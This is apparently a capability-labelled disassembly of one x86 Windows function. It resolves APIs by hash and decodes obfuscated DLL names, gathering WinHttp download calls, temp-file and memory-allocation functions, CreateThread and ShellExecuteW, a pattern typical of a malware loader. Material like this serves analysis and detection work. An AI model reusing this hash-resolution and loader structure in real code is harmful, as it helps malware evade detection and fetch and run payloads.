Function at 0x414690
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x58
push ebx
push ebp
push esi
push edi
mov ebx, edx
mov edi, ecx
call fcn.00415510
mov esi, eax
test esi, esi
jne 0x4146ee
push str.kernel32
push 0x100000
push 0x420410
call fcn.00401010
add esp, 0xc
mov esi, eax
mov dword [0x42040c], esi
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
push 0x420408
push esi
push 0x420410
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, 0xfffffff1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x58
ret
push 0x85769bb9
mov edx, ebx
mov ecx, esi
call fcn.00416050
mov ebp, eax
add esp, 4
mov dword [edi], ebp
test ebp, ebp
jne 0x41474c
push str.LoadLibraryW
push 0x100000
push 0x420410
call fcn.00401010
add esp, 0xc
mov esi, eax
mov dword [0x42040c], esi
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push ebp
push 0x420408
push esi
push 0x420410
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x58
ret
push 0x36fb12bc
mov edx, ebx
mov ecx, esi
call fcn.00416050
add esp, 4
mov dword [edi + 4], eax
test eax, eax
jne 0x4147aa
push str.GetTempFileNameW
push 0x100000
push 0x420410
call fcn.00401010
add esp, 0xc
mov esi, eax
mov dword [0x42040c], esi
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
push 0x420408
push esi
push 0x420410
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x58
ret
push 0xdf1301e7
mov edx, ebx
mov ecx, esi
call fcn.00416050
add esp, 4
mov dword [edi + 8], eax
test eax, eax
jne 0x414808
push str.GetTempPathW
push 0x100000
push 0x420410
call fcn.00401010
add esp, 0xc
mov esi, eax
mov dword [0x42040c], esi
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
push 0x420408
push esi
push 0x420410
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x58
ret
push 0xc8ae2373
mov edx, ebx
mov ecx, esi
call fcn.00416050
add esp, 4
mov dword [edi + 0xc], eax
test eax, eax
jne 0x414866
push str.DeleteFileW
push 0x100000
push 0x420410
call fcn.00401010
add esp, 0xc
mov esi, eax
mov dword [0x42040c], esi
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
push 0x420408
push esi
push 0x420410
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x58
ret
push 0xd9ab0f11
mov edx, ebx
mov ecx, esi
call fcn.00416050
add esp, 4
mov dword [edi + 0x10], eax
test eax, eax
jne 0x4148c4
push 0x41cc78
push 0x100000
push 0x420410
call fcn.00401010
add esp, 0xc
mov esi, eax
mov dword [0x42040c], esi
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
push 0x420408
push esi
push 0x420410
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x58
ret
push 0x44deeacd
mov edx, ebx
mov ecx, esi
call fcn.00416050
add esp, 4
mov dword [edi + 0x14], eax
test eax, eax
jne 0x414922
push 0x41cc84
push 0x100000
push 0x420410
call fcn.00401010
add esp, 0xc
mov esi, eax
mov dword [0x42040c], esi
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
push 0x420408
push esi
push 0x420410
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x58
ret
push 0x859e4ab7
mov edx, ebx
mov ecx, esi
call fcn.00416050
add esp, 4
mov dword [edi + 0x18], eax
test eax, eax
jne 0x414980
push 0x41cc90
push 0x100000
push 0x420410
call fcn.00401010
add esp, 0xc
mov esi, eax
mov dword [0x42040c], esi
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
push 0x420408
push esi
push 0x420410
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x58
ret
push 0x5b06669a
mov edx, ebx
mov ecx, esi
call fcn.00416050
add esp, 4
mov dword [edi + 0x1c], eax
test eax, eax
jne 0x4149de
push str.VirtualFree
push 0x100000
push 0x420410
call fcn.00401010
add esp, 0xc
mov esi, eax
mov dword [0x42040c], esi
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
push 0x420408
push esi
push 0x420410
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x58
ret
push 0xfd3b405f
mov edx, ebx
mov ecx, esi
call fcn.00416050
add esp, 4
mov dword [edi + 0x20], eax
test eax, eax
jne 0x414a3c
push str.VirtualAlloc
push 0x100000
push 0x420410
call fcn.00401010
add esp, 0xc
mov esi, eax
mov dword [0x42040c], esi
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
push 0x420408
push esi
push 0x420410
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x58
ret
push 0xdcffe90f
mov edx, ebx
mov ecx, esi
call fcn.00416050
add esp, 4
mov dword [edi + 0x24], eax
test eax, eax
jne 0x414a9a
push str.FlushInstructionCache
push 0x100000
push 0x420410
call fcn.00401010
add esp, 0xc
mov esi, eax
mov dword [0x42040c], esi
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
push 0x420408
push esi
push 0x420410
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x58
ret
push 0x2b0b5ef8
mov edx, ebx
mov ecx, esi
call fcn.00416050
add esp, 4
mov dword [edi + 0x28], eax
test eax, eax
jne 0x414af8
push str.GetNativeSystemInfo
push 0x100000
push 0x420410
call fcn.00401010
add esp, 0xc
mov esi, eax
mov dword [0x42040c], esi
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
push 0x420408
push esi
push 0x420410
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x58
ret
push 0x22e79689
mov edx, ebx
mov ecx, esi
call fcn.00416050
add esp, 4
mov dword [edi + 0x2c], eax
test eax, eax
jne 0x414b56
push str.LoadLibraryA
push 0x100000
push 0x420410
call fcn.00401010
add esp, 0xc
mov esi, eax
mov dword [0x42040c], esi
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
push 0x420408
push esi
push 0x420410
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x58
ret
push 0x85a8cc9c
mov edx, ebx
mov ecx, esi
call fcn.00416050
add esp, 4
mov dword [edi + 0x30], eax
test eax, eax
jne 0x414bb4
push str.CreateThread
push 0x100000
push 0x420410
call fcn.00401010
add esp, 0xc
mov esi, eax
mov dword [0x42040c], esi
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
push 0x420408
push esi
push 0x420410
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x58
ret
push 0x79a98583
mov edx, ebx
mov ecx, esi
call fcn.00416050
add esp, 4
mov dword [edi + 0x34], eax
test eax, eax
jne 0x414c12
push str.WaitForSingleObject
push 0x100000
push 0x420410
call fcn.00401010
add esp, 0xc
mov esi, eax
mov dword [0x42040c], esi
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
push 0x420408
push esi
push 0x420410
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x58
ret
push 0x4b9743e
mov edx, ebx
mov ecx, esi
call fcn.00416050
add esp, 4
mov dword [edi + 0x38], eax
test eax, eax
jne 0x414c70
push 0x41cd18
push 0x100000
push 0x420410
call fcn.00401010
add esp, 0xc
mov esi, eax
mov dword [0x42040c], esi
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
push 0x420408
push esi
push 0x420410
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x58
ret
push 0x32b3b4c1
mov edx, ebx
mov ecx, esi
call fcn.00416050
add esp, 4
mov dword [edi + 0x3c], eax
test eax, eax
jne 0x414cce
push str.LocalFree
push 0x100000
push 0x420410
call fcn.00401010
add esp, 0xc
mov esi, eax
mov dword [0x42040c], esi
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
push 0x420408
push esi
push 0x420410
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x58
ret
push 0xf7f3d3e2
mov edx, ebx
mov ecx, esi
call fcn.00416050
add esp, 4
mov dword [edi + 0x40], eax
test eax, eax
jne 0x414d2c
push 0x41cd34
push 0x100000
push 0x420410
call fcn.00401010
add esp, 0xc
mov esi, eax
mov dword [0x42040c], esi
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
push 0x420408
push esi
push 0x420410
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x58
ret
push 0x8f217ff1
mov edx, ebx
mov ecx, esi
call fcn.00416050
add esp, 4
mov dword [edi + 0x44], eax
test eax, eax
jne 0x414d8a
push 0x41cd40
push 0x100000
push 0x420410
call fcn.00401010
add esp, 0xc
mov esi, eax
mov dword [0x42040c], esi
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
push 0x420408
push esi
push 0x420410
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x58
ret
push 0x33fe7a78
mov edx, ebx
mov ecx, esi
call fcn.00416050
add esp, 4
mov dword [edi + 0x48], eax
test eax, eax
jne 0x414de8
push str.SystemTimeToFileTime
push 0x100000
push 0x420410
call fcn.00401010
add esp, 0xc
mov esi, eax
mov dword [0x42040c], esi
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
push 0x420408
push esi
push 0x420410
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x58
ret
push 0x83e76ea5
mov edx, ebx
mov ecx, esi
call fcn.00416050
add esp, 4
mov dword [edi + 0x4c], eax
test eax, eax
jne 0x414e46
push str.GetSystemTime
push 0x100000
push 0x420410
call fcn.00401010
add esp, 0xc
mov esi, eax
mov dword [0x42040c], esi
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
push 0x420408
push esi
push 0x420410
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x58
ret
push 0x496bce58
mov edx, ebx
mov ecx, esi
call fcn.00416050
add esp, 4
mov dword [edi + 0x50], eax
test eax, eax
jne 0x414ea4
push 0x41cd78
push 0x100000
push 0x420410
call fcn.00401010
add esp, 0xc
mov esi, eax
mov dword [0x42040c], esi
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
push 0x420408
push esi
push 0x420410
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x58
ret
push 0x158b2cee
mov edx, ebx
mov ecx, esi
call fcn.00416050
add esp, 4
mov dword [edi + 0x54], eax
test eax, eax
jne 0x414f02
push str.GetFileSize
push 0x100000
push 0x420410
call fcn.00401010
add esp, 0xc
mov esi, eax
mov dword [0x42040c], esi
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
push 0x420408
push esi
push 0x420410
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x58
ret
push 0x26d2bec4
mov edx, ebx
mov ecx, esi
call fcn.00416050
add esp, 4
mov dword [edi + 0x58], eax
test eax, eax
jne 0x414f60
push str.ReadFile
push 0x100000
push 0x420410
call fcn.00401010
add esp, 0xc
mov esi, eax
mov dword [0x42040c], esi
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
push 0x420408
push esi
push 0x420410
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x58
ret
push 0x1a32efa7
mov edx, ebx
mov ecx, esi
call fcn.00416050
add esp, 4
mov dword [edi + 0x5c], eax
test eax, eax
jne 0x414fbe
push 0x41cd9c
push 0x100000
push 0x420410
call fcn.00401010
add esp, 0xc
mov esi, eax
mov dword [0x42040c], esi
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
push 0x420408
push esi
push 0x420410
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x58
ret
mov ecx, dword [esp + 0x6c]
sub esp, 0x18
mov eax, esp
mov dword [esp + 0x2e], 0x87b98ff3
mov dword [esp + 0x32], 0xf3f13b7b
mov dword [esp + 0x36], 0x7cc97ad5
movups xmm0, xmmword [ecx]
mov dword [esp + 0x3a], 0xfacaf918
mov dword [esp + 0x3e], 0xc88029a2
movups xmmword [eax], xmm0
mov dword [esp + 0x42], 0x49b40980
movq xmm0, qword [ecx + 0x10]
lea ecx, [esp + 0x2e]
movq qword [eax + 0x10], xmm0
lea eax, [esp + 0x60]
push eax
call fcn.00413dc0
add esp, 0x1c
movups xmm0, xmmword [eax]
movups xmmword [esp + 0x2e], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esp + 0x3e], xmm0
mov ax, word [eax + 0x18]
mov word [esp + 0x46], ax
lea eax, [esp + 0x2e]
push eax
call ebp
mov esi, eax
test esi, esi
jne 0x415087
push str.Winhttp
push 0x100000
push 0x420410
call fcn.00401010
add esp, 0xc
mov esi, eax
mov dword [0x42040c], esi
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
push 0x420408
push esi
push 0x420410
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x58
ret
push 0xcba85791
mov edx, ebx
mov ecx, esi
call fcn.00416050
add esp, 4
mov dword [edi + 0x60], eax
test eax, eax
jne 0x4150e5
push str.WinHttpConnect
push 0x100000
push 0x420410
call fcn.00401010
add esp, 0xc
mov esi, eax
mov dword [0x42040c], esi
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
push 0x420408
push esi
push 0x420410
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x58
ret
push 0x6cd431e3
mov edx, ebx
mov ecx, esi
call fcn.00416050
add esp, 4
mov dword [edi + 0x64], eax
test eax, eax
jne 0x415143
push str.WinHttpOpen
push 0x100000
push 0x420410
call fcn.00401010
add esp, 0xc
mov esi, eax
mov dword [0x42040c], esi
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
push 0x420408
push esi
push 0x420410
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x58
ret
push 0xeb39f362
mov edx, ebx
mov ecx, esi
call fcn.00416050
add esp, 4
mov dword [edi + 0x68], eax
test eax, eax
jne 0x4151a1
push str.WinHttpOpenRequest
push 0x100000
push 0x420410
call fcn.00401010
add esp, 0xc
mov esi, eax
mov dword [0x42040c], esi
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
push 0x420408
push esi
push 0x420410
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x58
ret
push 0xff79d5c5
mov edx, ebx
mov ecx, esi
call fcn.00416050
add esp, 4
mov dword [edi + 0x6c], eax
test eax, eax
jne 0x4151ff
push str.WinHttpSendRequest
push 0x100000
push 0x420410
call fcn.00401010
add esp, 0xc
mov esi, eax
mov dword [0x42040c], esi
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
push 0x420408
push esi
push 0x420410
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x58
ret
push 0x282e7f6a
mov edx, ebx
mov ecx, esi
call fcn.00416050
add esp, 4
mov dword [edi + 0x70], eax
test eax, eax
jne 0x41525d
push str.WinHttpReceiveResponse
push 0x100000
push 0x420410
call fcn.00401010
add esp, 0xc
mov esi, eax
mov dword [0x42040c], esi
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
push 0x420408
push esi
push 0x420410
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x58
ret
push 0xf48e0a60
mov edx, ebx
mov ecx, esi
call fcn.00416050
add esp, 4
mov dword [edi + 0x74], eax
test eax, eax
jne 0x4152bb
push str.WinHttpQueryHeaders
push 0x100000
push 0x420410
call fcn.00401010
add esp, 0xc
mov esi, eax
mov dword [0x42040c], esi
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
push 0x420408
push esi
push 0x420410
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x58
ret
push 0x3716298f
mov edx, ebx
mov ecx, esi
call fcn.00416050
add esp, 4
mov dword [edi + 0x78], eax
test eax, eax
jne 0x415319
push str.WinHttpQueryDataAvailable
push 0x100000
push 0x420410
call fcn.00401010
add esp, 0xc
mov esi, eax
mov dword [0x42040c], esi
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
push 0x420408
push esi
push 0x420410
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x58
ret
push 0xcad645ed
mov edx, ebx
mov ecx, esi
call fcn.00416050
add esp, 4
mov dword [edi + 0x7c], eax
test eax, eax
jne 0x415377
push str.WinHttpReadData
push 0x100000
push 0x420410
call fcn.00401010
add esp, 0xc
mov esi, eax
mov dword [0x42040c], esi
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
push 0x420408
push esi
push 0x420410
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x58
ret
push 0xab53d45c
mov edx, ebx
mov ecx, esi
call fcn.00416050
add esp, 4
mov dword [edi + 0x80], eax
test eax, eax
jne 0x4153d8
push str.WinHttpCloseHandle
push 0x100000
push 0x420410
call fcn.00401010
add esp, 0xc
mov esi, eax
mov dword [0x42040c], esi
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
push 0x420408
push esi
push 0x420410
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x58
ret
mov ecx, dword [esp + 0x6c]
sub esp, 0x18
mov esi, dword [edi]
mov eax, esp
mov dword [esp + 0x2e], 0x87b88fd7
mov dword [esp + 0x32], 0xf3f53b70
movups xmm0, xmmword [ecx]
mov dword [esp + 0x36], 0x7c8e7acd
mov dword [esp + 0x3a], 0xfacaf95a
movups xmmword [eax], xmm0
mov dword [esp + 0x3e], 0xc88029a2
movq xmm0, qword [ecx + 0x10]
lea ecx, [esp + 0x2e]
movq qword [eax + 0x10], xmm0
lea eax, [esp + 0x60]
push eax
mov dword [esp + 0x46], 0x49b40980
call fcn.00413dc0
add esp, 0x1c
movups xmm0, xmmword [eax]
movups xmmword [esp + 0x2e], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esp + 0x3e], xmm0
mov ax, word [eax + 0x18]
mov word [esp + 0x46], ax
lea eax, [esp + 0x2e]
push eax
call esi
test eax, eax
jne 0x4154a1
push str.shell32
push 0x100000
push 0x420410
call fcn.00401010
add esp, 0xc
mov esi, eax
mov dword [0x42040c], esi
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
push 0x420408
push esi
push 0x420410
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x58
ret
push 0x66e37675
mov edx, ebx
mov ecx, eax
call fcn.00416050
add esp, 4
mov dword [edi + 0x84], eax
test eax, eax
jne 0x415502
push str.ShellExecuteW
push 0x100000
push 0x420410
call fcn.00401010
add esp, 0xc
mov esi, eax
mov dword [0x42040c], esi
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
push 0x420408
push esi
push 0x420410
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x58
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x58
ret